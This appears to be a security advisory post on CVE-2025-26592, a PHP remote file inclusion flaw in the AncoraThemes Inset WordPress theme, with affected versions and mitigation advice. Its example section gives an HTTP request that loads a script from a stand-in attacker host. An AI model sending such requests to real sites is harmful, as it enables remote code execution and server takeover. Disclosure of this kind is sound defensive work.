Overview
The vulnerability we are focusing on in this post is a critical one, identified as CVE-2025-26592, which originates from an improper control of filename for include/require statement in PHP program, more commonly known as ‘PHP Remote File Inclusion’. This vulnerability resides in AncoraThemes Inset, a widely used WordPress theme. This vulnerability matters due to the potential system compromise or data leakage it presents, which could lead to unauthorized access to sensitive information or even total control over the affected system. The severity of the issue, combined with the popularity of the affected software, makes addressing this vulnerability an urgent task for those utilizing AncoraThemes Inset.
Vulnerability Summary
CVE ID: CVE-2025-26592
Severity: Critical (CVSS score 8.1)
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: Potential system compromise or data leakage
Affected Products
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Product | Affected Versions
AncoraThemes Inset | Up to and including 1.18.0
How the Exploit Works
The exploit takes advantage of the improper control of filename for include/require statement in PHP within AncoraThemes Inset. This allows an attacker to manipulate the file path that’s passed to these PHP include/require functions, which can then be used to include files from remote servers. This remote file inclusion (RFI) vulnerability provides an opportunity for an attacker to execute arbitrary code on the server, leading to potential system compromise or data leakage.
Conceptual Example Code
Below is a conceptual example of how the vulnerability might be exploited. In this case, an HTTP request is used to pass a malicious file path to the server:
GET /path/to/vulnerable/script.php?file=http://attacker.com/malicious_script.txt HTTP/1.1
Host: vulnerable.example.comIn this example, the ‘file’ parameter in the URL is manipulated to include a file from an attacker-controlled server (‘attacker.com’). The content of ‘malicious_script.txt’ would then be executed on the vulnerable server.
Mitigation Guidance
The recommended mitigation action for this vulnerability is to apply the vendor’s patch. In cases where immediate patching is not possible, use of a Web Application Firewall (WAF) or Intrusion Detection System (IDS) can provide temporary mitigation. However, these methods can only reduce the risk and not fully eliminate it; applying the vendor’s patch should be the ultimate goal to resolve the vulnerability.